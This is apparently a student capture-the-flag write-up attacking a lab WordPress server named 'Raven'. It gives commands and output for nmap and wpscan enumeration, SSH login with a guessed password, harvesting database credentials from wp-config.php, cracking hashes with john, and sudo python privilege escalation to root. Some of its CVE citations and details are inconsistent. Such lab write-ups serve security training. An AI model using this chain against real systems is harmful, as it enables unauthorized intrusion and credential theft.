Red Team: Summary of Operations

Table of Contents
- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:
‘nmap 192.168.1.0/24’

```
Nmap scan report for 192.168.1.110
Host is up (0.00087s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

This scan identifies the services below as potential points of entry:
- Target 1
22/tcp open ssh
80//tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds

The following vulnerabilities were identified on each target:
- Target 1
Network Mapping and user enumeration(wordpress) CVE-2017-5487
    Nmap was used to uncover open ports and plan an attack.
    Wpscan was used to list users on wordpress site.
Weak user password
    I was able to guess the user password of Michael.
MySQL Database Access CVE-2016-6663
    I was able to discover a file with the username and password into MySQL database.
MySQL Data Extraction CVE-2015-2075
    I was able to search through tables and databases in Mysql and I was able to get the hashes of the two users Michael and Steven on wordpress
Privilege escalation and misconfigure of user

I was able to find out that Steven had sudo privileges for a python script. After running the script I was able to escalate to root.

Exploitation

1.

I did a nmap scan of 192.168.1.0/24 and found that the target machine of 192.168.1.110 had:

2.

22/tcp ssh

80/tcp http

111/tcp rpcbind

139/tcp netbios-ssn

445/tcp Microsoft-ds

32784/tcp unknown

```
Nmap scan report for 192.168.1.110
Host is up (0.00087s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

3. 1. I now enumerated the wordpress site with 'wpscan - -url http://192.168.1.110/wordpress -eu' this showed me that there were two users identified Michael and Steven

```
[+] steven
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```

4. Used ssh to gain access to the user Michael. The password was the same as the username. (weak password) I then used grep to find flag1 and it was found in /var/www/html/service.html "grep 'flag1' service.html". after that

```
michael@target1:/var/www/html$ grep 'flag1' service.html
                                <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
```

```
root@192:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Sun Mar  6 05:04:00 2022 from 192.168.1.90
```

5. I immediately found flag 2 in /var/www. I nanoed /var/www/html/wordpress/wp-config.php, there I found the username root and password R@v3nScurity to get into mysql to start and dump wordpress user password hashes. Command to login to mysql 'mysql -u root -p' then the password is R@v3nSecurity.

```
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

```
/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

```
michael@target1:/var/www/html/wordpress$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 63
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved
.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input stateme
nt.

mysql>
```

6. First I used ‘show databases;’ and wordpress was one of the databases and I used that ‘use wordpress;’. I then used ‘show tables;’ this showed me that there is a table called ‘wp_users;’. I then used a select command to show the hashes of Michael and steven. The command is ‘select * from wp_users;’ I was also able to find flag 3 in the wp_posts table.

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.00 sec)
```

```
mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
```

```
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)
```

```
mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+---
---------------+----------+---------------------+---------------------+---
----------+---------------+
| ID | user_login | user_pass                          | user_nicename | us
er_email        | user_url | user_registered     | user_activation_key | us
er_status | display_name  |
+----+------------+------------------------------------+---------------+---
---------------+----------+---------------------+---------------------+---
----------+---------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael       | mi
chael@raven.org |          | 2018-08-12 22:49:12 |                     |
        0 | michael       |
|  2 | steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven        | st
even@raven.org  |          | 2018-08-12 23:31:16 |                     |
        0 | Steven Seagull |
+----+------------+------------------------------------+---------------+---
---------------+----------+---------------------+---------------------+---
----------+---------------+
2 rows in set (0.00 sec)
```

```
| 4 |          1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc0
1ab56b50591e7dccf93122770cd2}

                          | flag3        |              | draft        | ope
n            | open        |              |              |              |
  | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 |                          |
      0 | http://raven.local/wordpress/?p=4
 |          0 | post        |              |              0 |
| 5 |          1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715d
ea6c055b9fe3337544932f2941ce}
```

7. I used john to crack the hashes I found in step six. The command I used was ‘john wp_hashes.txt’. Through this I was able to get steven’s cracked hash which was pink84.

```
root@Kali:~# john wp_hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$
) 256/256 AVX2 8×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 30 candidates buffered for the current salt, minimum 48 neede
d for performance.
Warning: Only 26 candidates buffered for the current salt, minimum 48 neede
d for performance.
```

```
root@Kali:~# john --show wp_hashes.txt
steven:pink84

1 password hash cracked, 1 left
```

8. I was then able to ssh in as Steven ‘ssh steven@192.168.1.110’ the password was ‘pink84’.

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020
$
```

9. Once I was in as steven I escalated to root as steven using the python command he had access to. The python command was ‘sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’ ‘ This gave me access as root ‘cd /root’. I then used ‘ls’ to discover the last flag.

```
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# ls
root@target1:/home/steven# cd /r
root/ run/
root@target1:/home/steven# cd /root/
root@target1:~# ls
flag4.txt
```


```
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# ls
root@target1:/home/steven# cd /r
root/ run/
root@target1:/home/steven# cd /root/
root@target1:~# ls
flag4.txt
```